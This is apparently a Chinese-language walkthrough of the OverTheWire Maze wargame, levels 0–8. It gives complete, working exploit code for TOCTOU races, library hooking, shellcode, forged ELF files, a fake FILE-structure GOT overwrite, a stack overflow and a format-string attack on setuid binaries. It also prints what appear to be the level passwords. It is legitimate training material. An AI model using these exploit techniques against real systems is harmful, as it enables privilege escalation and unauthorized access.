level 0 → level 1
1 2 3 4 5 6 7 SSH Information Host: maze.labs.overthewire.org Port: 2225 User: maze0 Pass: maze0 Passwords: /etc/maze_pass/ Binaries: /maze/
Maze 是一个侧重 exploitation 技巧的 wargame,难度 5/10,共 9
关(0-8)。涵盖 TOCTOU race condition、library
hooking、shellcode、self-modifying code、自定义 ELF 解析、ptrace
反调试、格式字符串漏洞等。
所有 binary 均为 32-bit i386 ELF,编译时带 -g debug info
和 stack protector,nasm/ld 可用,gcc 可用 -m32 编译。
1 2 3 4 5 6 7 8 9 10 11 maze0@maze:~$ ls -la /maze/ total 140 -r-sr-x--- 1 maze1 maze0 13408 maze0 -r-sr-x--- 1 maze2 maze1 12252 maze1 -r-sr-x--- 1 maze3 maze2 12708 maze2 -r-sr-x--- 1 maze4 maze3 4728 maze3 -r-sr-x--- 1 maze5 maze4 16220 maze4 -r-sr-x--- 1 maze6 maze5 14884 maze5 -r-sr-x--- 1 maze7 maze6 14204 maze6 -r-sr-x--- 1 maze8 maze7 14716 maze7 -r-sr-x--- 1 maze9 maze8 16324 maze8
每个 level 的 binary 命名规则:/maze/mazeN 是 setuid
maze(N+1),跑在 mazeN 下,目标是读
/etc/maze_pass/maze(N+1)。
经典 TOCTOU (Time-of-check Time-of-use)
竞争条件。
Binary 逻辑(r2 反汇编):
memset(buf, 0, 0x14) — 清空 20 字节 buffer
access("/tmp/128ecf542a35ac5270a87dc740918404", R_OK) —
用 real uid (maze0) 检查可读性
如果 access 失败 → 直接 return
setresuid(maze1, maze1, maze1) — 全部提权到 maze1
open(path, O_RDONLY) → read(fd, buf, 19) →
write(1, buf, 19) — 读取并输出
race window 在 access() 和 open()
之间,只有十几个指令周期。ln -sf 太慢,需要用
rename() 原子交换预创建的 symlink:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <unistd.h> #include <string.h> #define TARGET "/tmp/128ecf542a35ac5270a87dc740918404" int main () { symlink("/etc/maze_pass/maze0" , "/tmp/_m0" ); symlink("/etc/maze_pass/maze1" , "/tmp/_m1" ); while (1 ) { rename("/tmp/_m0" , TARGET); symlink("/etc/maze_pass/maze0" , "/tmp/_m0" ); rename("/tmp/_m1" , TARGET); symlink("/etc/maze_pass/maze1" , "/tmp/_m1" ); } }
1 2 3 4 5 6 7 8 9 maze0@maze:/tmp$ gcc -m32 -o toggle toggle.c maze0@maze:/tmp$ ./toggle & maze0@maze:/tmp$ for i in $(seq 1 1000); do result=$(/maze/maze0 2>/dev/null) if [ -n "$result " ]; then echo "HIT: $result " ; break fi done HIT: **********
原理:rename() 在同一文件系统上是原子的,target
始终指向一个有效文件(无 broken symlink 窗口)。access()
通过时 link 指向 maze0(maze0 可读),open() 时已被换为
maze1(maze1 可读)。
kfL7RRfpkY
level 1 → level 2
maze1 的 binary 链接了一个不存在的 ./libc.so.4:
1 2 3 4 5 6 maze1@maze:~$ /maze/maze1 /maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open ... maze1@maze:~$ readelf -d /maze/maze1 | grep NEEDED NEEDED ./libc.so.4 NEEDED libc.so.6
Binary 只调用 puts("Hello World!")。创建 hook library
劫持 puts() 即可读密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <string.h> int puts (const char *message) { FILE *fp; char buffer[30 ] = {0 }; fp = fopen("/etc/maze_pass/maze2" , "r" ); if (fp) { fread(buffer, 29 , 1 , fp); fclose(fp); } printf ("PASSWORD: %s\n" , buffer); return printf ("Hooked: %s\n" , message ? message : "(null)" ); }
1 2 3 4 5 maze1@maze:/tmp/work$ gcc -m32 -shared -fPIC -fno-stack-protector \ -o libc.so.4 hookputs.c -ldl maze1@maze:/tmp/work$ /maze/maze1 PASSWORD: ********** Hooked: Hello World!
注意需要 -fno-stack-protector 关闭 stack canary,否则 ld
链接时报 __stack_chk_fail_local 未定义。
PBeZRPjetr
level 2 → level 3
maze2 的 binary 从 argv[1] 复制 8 字节到栈上
buffer,然后 call *buffer — 8 字节 shellcode 约束。
反汇编要点:
1 2 3 4 cmpl $2, 8(%ebp) ; if argc != 2 → exit(1) strncpy(buf, argv[1], 8) ; copy 8 bytes mov buf_addr, %eax call *%eax ; execute shellcode
解决方案:真正 shellcode 存入环境变量 SC,8 字节只做
push <addr>; ret(6 字节)。
maze3 uid = 15003 = 0x3a9b。用 pwntools 生成完整 shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 maze2@maze:/tmp/work$ python3 -c " from pwnlib.asm import asm import sys sc = asm(' xor eax,eax;mov al,70 xor ebx,ebx;mov bx,0x3a9b xor ecx,ecx;mov cx,0x3a9b int 0x80 xor eax,eax;push eax push 0x68732f2f;push 0x6e69622f mov ebx,esp;xor ecx,ecx xor edx,edx;mov al,11 int 0x80 ', arch='i386') sys.stdout.buffer.write(b'\x90'*200 + sc) " > sc.binmaze2@maze:/tmp/work$ export SC=$(cat sc.bin) maze2@maze:/tmp/work$ gcc -m32 -o getaddr -xc - <<< '#include <stdio.h> #include <stdlib.h> int main(){printf("SC:%p\n",getenv("SC"));}' maze2@maze:/tmp/work$ ./getaddr SC at 0xffffdcd0 maze2@maze:/tmp/work$ /maze/maze2 $(python3 -c " from pwnlib.asm import asm import sys sys.stdout.buffer.write(asm('push 0xffffdcd0; ret', arch='i386')) " )$ cat /etc/maze_pass/maze3
DSEiCewQOv
level 3 → level 4
maze3 的 binary 是静态链接的(statically
linked),使用自修改代码(self-modifying code)。
mprotect() 设置代码段 RWX,然后用 key
0x12345678 XOR 解码 d1 函数区域,reveal 出一段
shellcode。shellcode 检查 argv[1] == 0x1337c0de,通过则
setreuid(maze4) + execve("/bin/sh")。
1 2 3 maze3@maze:~$ /maze/maze3 $(printf '\xde\xc0\x37\x13' ) <<< "cat /etc/maze_pass/maze4" **********
注意:0x1337c0de 作为 int 是 little-endian
\xde\xc0\x37\x13。
vghylBpihH
level 4 → level 5
maze4 的 binary 读取用户提供的文件,解析为 ELF header + program
header,验证通过后 execv() 执行。
验证逻辑(反汇编):
read(fd, &ehdr, 0x34) — 读 52 bytes ELF header
到栈上
lseek(fd, ehdr.e_phoff, SEEK_SET) — 定位到 program
header
read(fd, &phdr, 0x20) — 读 32 bytes program
header
检查 1 :
phdr.p_paddr == ehdr.e_ident[7] * ehdr.e_ident[8](两个
byte 乘积)
检查 2 :
stat.st_size <= 0x7b(文件大小 ≤ 123 bytes)
puts("valid file, executing"); execv(file, NULL, NULL);
execv() 保留 setuid 权限 — 但 shell
(/bin/sh) 会主动 drop privilege。需要编译一个专用 reader
binary。
1 2 3 4 5 6 7 8 9 maze4@maze:/tmp/work$ cat > reader.c << EOF #include <unistd.h> #include <fcntl.h> int main(){char b[50]={0};int fd=open("/etc/maze_pass/maze5",0); int n=read(fd,b,49);write(1,b,n);return 0;} EOF maze4@maze:/tmp/work$ TMPDIR=. gcc -m32 -o reader reader.c maze4@maze:/tmp/work$ ln -sf reader r
ELF header 与 shebang #!/tmp/maze4w/r\n
重叠。e_ident[7] 和 [8] 由 shebang 的第 7、8
字节决定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 maze4@maze:/tmp/work$ python3 -c " import struct sh = b'#!/tmp/maze4w/r\n' b7, b8 = sh[7], sh[8] # 0x6d ('m'), 0x61 ('a') prod = b7 * b8 # 0x295d pad = 28 - len(sh) # 补齐到 byte 28(e_phoff 位置) data = sh + b'\x00'*pad + struct.pack('<I',0x20) + b'B'*12 + struct.pack('<I',prod) + b'C'*16 open('elf_file','wb').write(data) " maze4@maze:/tmp/work$ chmod +x elf_file maze4@maze:/tmp/work$ /maze/maze4 elf_file valid file, executing **********
shebang 指向编译好的 reader binary(不 drop privilege)
ELF header 字节与 shebang 重叠,e_ident[7] 和
[8] 必须是 shebang 的实际字符
e_phoff = 0x20 让 program header 与 ELF header
尾部重叠
p_paddr(PHDR 偏移 0xc)必须等于两个 e_ident
字节的乘积
fobwgnzRy0
level 5 → level 6
maze5 的 binary 要求输入 username (8 字符) 和 key (8 字符),调用
foo(user, pass) 校验。
反编译逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 int foo (char * user, char * pass) { char p[9 ] = {0x70 , 0x72 , 0x69 , 0x6e , 0x74 , 0x6c , 0x6f , 0x6c }; for (int i = 0 ; i < strlen (pass); ++i) { p[i] -= user[i] + 2 * i - 0x41 ; } int i = strlen (pass); do { i -= 1 ; if (i == 0 ) return 1 ; } while (pass[i] == p[i]); return 0 ; }
要 pass:user[i] + 2*i - 0x41 = 0 →
user[i] = chr(0x41 - 2*i)。此时 p
数组不变,key = 原始 p 值 = printlol。
Binary 使用了 ptrace(PTRACE_TRACEME) 反调试。通过后调用
system("/bin/sh")。
但 pipeline 传入 input 时 system() 产生的 shell 会收到
SIGTTOU。需要使用 pty:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pty, os, timepid, fd = pty.fork() if pid == 0 : os.execv("/maze/maze5" , ["/maze/maze5" ]) else : time.sleep(0.5 ) os.write(fd, b"A?=;9753\n" ) time.sleep(0.3 ) os.write(fd, b"printlol\n" ) time.sleep(0.3 ) os.write(fd, b"cat /etc/maze_pass/maze6\n" ) time.sleep(0.5 ) while True : data = os.read(fd, 4096 ) if not data: break print (data.decode(errors="ignore" ), end="" )
1 2 3 4 5 6 X---------------- Username: A?=;9753 Key: printlol Yeh, here's your shell **********
dOM2C7ZKlG
level 6 → level 7
maze6 的 binary 是一个 strcpy overflow + memfrob XOR + fake FILE
的组合题。
1 2 3 4 5 6 maze6@maze:~$ /maze/maze6 usage: /maze/maze6 file2write2 string maze6@maze:~$ /maze/maze6 /tmp/out test maze6@maze:~$ cat /tmp/out /tmp/out : khin
Binary 分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 main: sub esp, 0x104 ; buf[260] at ebp-0x104 cmp [ebp+8], 3 ; argc == 3? jne usage ; fd = fopen(argv[1], "w") call fopen ; → eax = 0x0804c1a0 (deterministic) mov [ebp-4], eax ; fd at ebp-4 ; strcpy(buf, argv[2]) lea eax, [ebp-0x104] push [ebp+0xc]+8 ; argv[2] push eax call strcpy ; NO bounds check ; len = strlen(buf) ; memfrob(buf, len) ; XOR each byte with 0x2A call strlen push eax lea eax, [ebp-0x104] push eax call memfrob ; fprintf(fd, "%s : %s\n", argv[1], buf) push [ebp-0x104] ; buf push argv[1] push "%s : %s\n" push [ebp-4] ; fd call fprintf ; exit(0) push 0 call exit ; never returns
安全属性(readelf -l + objdump -R):
1 2 3 4 5 ASLR off (`randomize_va_space=0`) RELRO none — GOT writable NX disabled — GNU_STACK RWE Stack canary none (`-fno-stack-protector`) PIE none — fixed base 0x08048000
关键常量(ASLR off 下固定):
1 2 3 4 5 6 libc 32-bit base = 0xf7d82000 _IO_file_jumps = 0xf7faa7a8 (libc + 0x2287a8) fopen → FILE* = 0x0804c1a0 (heap) buf = 0xffffda74 (ebp-0x104) strcpy@got = 0x0804b204 exit@got = 0x0804b208
栈布局(从低到高):
1 2 3 4 5 6 7 ebp-0x104 buf[0] ← strcpy 目标 ... ebp-0x04 fd (FILE*) ← offset 256 from buf ebp saved ebp ebp+0x04 return addr ebp+0x08 argc ebp+0x0c argv
漏洞利用链
目标 :覆写 exit@got 为 shellcode
地址,让 exit(0) 跳转到 shellcode。
约束 :
strcpy(buf, argv[2]) 只能通过 argv 传入,不能含
\x00(否则 strcpy 截断)
memfrob(buf, len) XOR 整个 buf 区域 — 所有数据需
pre-XOR (payload_byte ^ 0x2A = desired_byte)
fprintf 不接受 fake FILE* → 需要在栈上构造合法的
_IO_FILE 结构
exit(0) 无 return → 只能通过 GOT overwrite
劫持控制流
关键洞察 1:pre-XOR 一切
1 2 3 4 5 6 def pre_xor (val ): return val ^ 0x2A2A2A2A
关键洞察 2:argv[1] 即 shellcode 地址
fprintf 输出 "%s : %s\n",第一个 %s 是
argv[1](文件名)。如果 argv[1] 恰好是 4
字节,则 exit@got 的前 4 字节 = argv[1] 的内容。
因此将 argv[1] 设为 4 字节的 shellcode
地址(\x74\xda\xff\xff = 0xffffda74),fopen
以 "w" 模式打开这个怪文件名不会有问题(Linux 允许任意非
\x00 非 / 的字节做文件名)。只需从
/tmp 目录运行,相对路径刚好 4 字节。
关键洞察 3:glibc 2.39 32-bit 的 _IO_FILE
布局
通过 GDB dump fopen 返回的真实 FILE 结构,确定各字段偏移:
1 2 3 4 5 6 7 8 9 10 offset field real FILE value our fake FILE ------ ---- ---------------- ------------- 0x00 _flags 0xfbad3484 0xfbad2480 (no _IO_NO_WRITES) 0x10 _IO_write_base 0x00000000 0x0804b208 (exit@got) 0x14 _IO_write_ptr 0x00000000 0x0804b208 (empty buffer) 0x18 _IO_write_end 0x00000000 0x0804c208 (exit@got+0x1000) 0x34 _chain 0xf7fabca0 0x00000000 (NULL, end of chain) 0x38 _fileno 0x00000003 0x00000002 (stderr if overflow flush) 0x48 _lock 0x0804c238 0x0804c238 (reuse real FILE's lock) 0x94 vtable 0xf7faa7a8 0xf7faa7a8 (_IO_file_jumps)
关键点:
_IO_write_base == _IO_write_ptr == exit@got → fprintf
直接写入 GOT
_IO_write_end 远大于输出长度 → 永远不会触发 buffer
flush(避免 vtable overflow 调用)
_lock 复用真实 FILE 的 lock(单线程程序,无竞争)
vtable 指向 libc 的合法
_IO_file_jumps(通过 _IO_validate_vtable
检查)
Exploit 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import struct, osdef pre_xor_dword (val ): return val ^ 0x2A2A2A2A def pre_xor_bytes (data ): return bytes ([b ^ 0x2a for b in data]) buf_addr = 0xffffda74 exit_got = 0x0804b208 libc_base = 0xf7d82000 io_file_jumps = libc_base + 0x002287a8 real_lock = 0x0804c238 fake_file_off = 0x30 fake_file_addr = buf_addr + fake_file_off fake = b'' fake += struct.pack('<I' , pre_xor_dword(0xfbad2480 )) fake += struct.pack('<I' , pre_xor_dword(0 )) * 3 fake += struct.pack('<I' , pre_xor_dword(exit_got)) fake += struct.pack('<I' , pre_xor_dword(exit_got)) fake += struct.pack('<I' , pre_xor_dword(exit_got+0x1000 )) fake += struct.pack('<I' , pre_xor_dword(exit_got)) fake += struct.pack('<I' , pre_xor_dword(exit_got+0x1000 )) for _ in range (5 ): fake += struct.pack('<I' , pre_xor_dword(0 )) fake += struct.pack('<I' , pre_xor_dword(2 )) for _ in range (3 ): fake += struct.pack('<I' , pre_xor_dword(0 )) fake += struct.pack('<I' , pre_xor_dword(real_lock)) fake += struct.pack('<Q' , pre_xor_dword(0 )) for _ in range (4 ): fake += struct.pack('<I' , pre_xor_dword(0 )) fake += struct.pack('<Q' , pre_xor_dword(0 )) fake += struct.pack('<I' , pre_xor_dword(0 )) for _ in range (9 ): fake += struct.pack('<I' , pre_xor_dword(0 )) fake += struct.pack('<I' , pre_xor_dword(io_file_jumps)) assert len (fake) == 0x98 sc = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68' b'\x68\x2f\x62\x69\x6e\x89\xe3\x50' b'\x53\x89\xe1\x99\xb0\x0b\xcd\x80' ) sc_prexor = pre_xor_bytes(sc) payload = sc_prexor payload += bytes ([0x2a ] * (fake_file_off - len (payload))) payload += fake payload += bytes ([0x2a ] * (0x100 - len (payload))) payload += struct.pack('<I' , pre_xor_dword(fake_file_addr)) argv1 = struct.pack('<I' , buf_addr) os.chdir('/tmp' ) os.execv('/maze/maze6' , ['/maze/maze6' , argv1, payload])
执行:
1 2 3 maze6@maze:/tmp$ python3 exploit.py $ cat /etc/maze_pass/maze7 **********
技术要点
为什么 fake FILE 不触发 vtable overflow?
fprintf 输出总长度 ≈ len(argv[1]) + 3 + len(buf) + 1 ≈ 4
+ 3 + 260 + 1 = 268
bytes。_IO_write_end - _IO_write_base = 0x1000(4KB),远超输出长度。_IO_putc
宏检测到 _IO_write_ptr < _IO_write_end
时直接内存写入,不触发 __overflow() → vtable
调用 。因此 vtable 仅需通过 _IO_validate_vtable
的地址范围检查,不需要实际调用。
为什么 lock 复用真实 FILE 的?
glibc 的 _IO_lock_lock(fp) 检查
fp->_lock != NULL 才会加锁。用真实 FILE 的
lock(0x0804c238)保证 lock 结构合法且初始为 unlocked
状态。
为什么 memfrob 不影响 shellcode?
所有放入 payload 的字节都经过
pre_XOR(byte ^ 0x2A)。memfrob 再 XOR
一次恢复原值。因此 shellcode 和 fake FILE 在 XOR 后回到预期状态。
B6XkM3Syq6
level 7 → level 8
/maze/maze7 是一个 ELF section header
dumper。读取攻击者提供的 ELF 文件,信任 header 里的
e_shoff、e_shnum、e_shentsize、e_shstrndx,循环打印
section 信息。
漏洞点在第二次读取 section header:
1 2 read(fd, &shdr_on_stack, e_shentsize); printf (strtab + shdr.sh_name, shdr.sh_addr, shdr.sh_size);
shdr_on_stack 是固定大小的 Elf32_Shdr,但
e_shentsize 完全由文件控制。设大以后 read()
会从 section header 覆盖到 saved return address。
live 调试测得偏移:section-header stack buffer + 64 → saved eip。
直接覆盖会先在 free(ptr) / free(strs)
崩掉,因为栈上的 heap 指针也被污染。稳定做法:
构造最小 fake ELF
e_shentsize = 220,触发大读
第一段 section header 保持基本合法,让程序走到
printf()
覆盖局部变量
ptr = NULL、strs = NULL,让后续
free(NULL) 安全返回
sh_name 不用 string table 偏移,放成一个可读 rodata
绝对地址,满足 printf(ptr + sh_name, ...)
saved eip 跳到栈上 NOP sled,shellcode 执行
setresuid(15008,15008,15008); execve('/bin/sh')
利用生成脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pathlib import Pathimport structdef ehdr (e_shoff, e_shnum, e_shentsize, e_shstrndx ): e=bytearray (52 ); e[:4 ]=b'\x7fELF' ; e[4 ]=1 ; e[5 ]=1 ; e[6 ]=1 struct.pack_into('<I' ,e,0x20 ,e_shoff); struct.pack_into('<H' ,e,0x2e ,e_shentsize); struct.pack_into('<H' ,e,0x30 ,e_shnum); struct.pack_into('<H' ,e,0x32 ,e_shstrndx) return e def build (ret, buf, path ): data=bytearray (b'\x00' *0x800 ) data[:52 ]=ehdr(0x100 ,0 ,220 ,0 ) data[0x180 :0x183 ]=b'\x00Z\x00' sc=bytes .fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80' ) payload=bytearray (b'\x00' *220 ) struct.pack_into('<I' , payload, 0x00 , 0x0804a008 ) struct.pack_into('<I' , payload, 0x0c , 0x11111111 ) struct.pack_into('<I' , payload, 0x10 , 0x180 ) struct.pack_into('<I' , payload, 0x14 , 3 ) payload[72 :74 ]=b'A\x00' struct.pack_into('<I' , payload, 40 , 0 ) struct.pack_into('<I' , payload, 44 , 0 ) struct.pack_into('<I' , payload, 48 , 0 ) struct.pack_into('<I' , payload, 52 , 0 ) struct.pack_into('<I' , payload, 56 , 0x42424242 ) struct.pack_into('<I' , payload, 60 , 0x43434343 ) struct.pack_into('<I' , payload, 64 , ret) payload[80 :160 ]=b'\x90' *80 payload[160 :160 +len (sc)]=sc data[0x100 :0x100 +len (payload)]=payload Path(path).write_bytes(data) if __name__ == '__main__' : import sys ret=int (sys.argv[1 ],16 ) if len (sys.argv)>1 else 0xffffdb70 buf=int (sys.argv[2 ],16 ) if len (sys.argv)>2 else 0xffffdb14 build(ret, buf, 'maze7_exploit.elf' ) print (hex (ret), hex (buf))
执行:
1 2 3 4 5 maze7@maze:/tmp$ /maze/maze7 maze7_exploit.elf $ id uid=15008(maze8) gid=15007(maze7) groups =15007(maze7) $ cat /etc/maze_pass/maze8 **********
eQdZB1qy6L
level 8 → level 9
/maze/maze8 是 TCP format string
service。接受端口参数监听本地,错误口令路径:
1 2 3 recv(client_fd, input, 511 , 0 ); snprintf (reply, 512 , input);send(client_fd, reply, strlen (reply), 0 );
探测 format offset:
1 AAAA.%1$08x -> AAAA.41414141
payload 开头的 dword 就是第一个 positional
argument。strlen() 在 snprintf()
后立刻调用,可覆盖 strlen@got:
payload 结构:
1 2 3 4 5 6 payload = p32(strlen_got) payload += p32(strlen_got + 2 ) payload += b"%<low-8>x%1$hn" payload += b"%<high-low>x%2$hn" payload += b"\x90" * pad payload += shellcode
最初尝试把 strlen@got 指向 /bin/sh
shellcode。GDB 下能看到成功执行 /usr/bin/dash,但远程
socket 没有交互输出:/bin/sh 的 stdin/stdout 不等于 client
socket。
最终解法是不 spawn shell,而是让 shellcode 直接完成取证:
1 2 3 4 5 setresuid(15009,15009,15009) open('/etc/maze_pass/maze9', O_RDONLY) read(fd, esp, 64) write(4, esp, n) ; accepted client fd exit(0)
最终脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import socketimport structimport subprocessimport sysimport timeimport selectPORT = 31338 STRLEN_GOT = 0x0804b268 TARGET = 0xffffda50 SC = bytes .fromhex( '31c0b0a431db66bba13a89d989dacd80' '31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80' '89c389e1b240b003cd80' '89c231dbb304b004cd80' '31dbb001cd80' ) def payload_for (target ): low = target & 0xffff high = (target >> 16 ) & 0xffff writes = [(STRLEN_GOT, low, 1 ), (STRLEN_GOT + 2 , high, 2 )] writes.sort(key=lambda item: item[1 ]) prefix = struct.pack('<II' , writes[0 ][0 ], writes[1 ][0 ]) count = len (prefix) pad1 = (writes[0 ][1 ] - count) % 0x10000 pad2 = (writes[1 ][1 ] - writes[0 ][1 ]) % 0x10000 fmt = prefix + f'%{pad1} x%1$hn%{pad2} x%2$hn' .encode() return fmt + b'\x90' * (200 - len (fmt)) + SC + b'\n' proc = subprocess.Popen(['/maze/maze8' , str (PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) time.sleep(0.4 ) try : sock = socket.create_connection(('127.0.0.1' , PORT), timeout=2 ) sock.recv(200 ) sock.sendall(payload_for(TARGET)) end = time.time() + 4 out = b'' while time.time() < end: readable, _, _ = select.select([sock], [], [], 0.2 ) if not readable: continue chunk = sock.recv(4096 ) if not chunk: break out += chunk sys.stdout.buffer.write(out) finally : proc.terminate() try : proc.wait(timeout=1 ) except subprocess.TimeoutExpired: proc.kill()
live 输出:
1 2 maze8@maze:/tmp$ python3 solve_maze8_readpass.py **********
完成证明:
1 2 3 4 5 $ ssh -p 2225 maze9@maze.labs.overthewire.org maze9@maze:~$ id uid=15009(maze9) gid=15009(maze9) groups =15009(maze9) maze9@maze:~$ ls -l /maze /etc/maze_pass/maze9 -r-------- 1 maze9 maze9 11 Apr 3 15:19 /etc/maze_pass/maze9
TtMMzTuXyi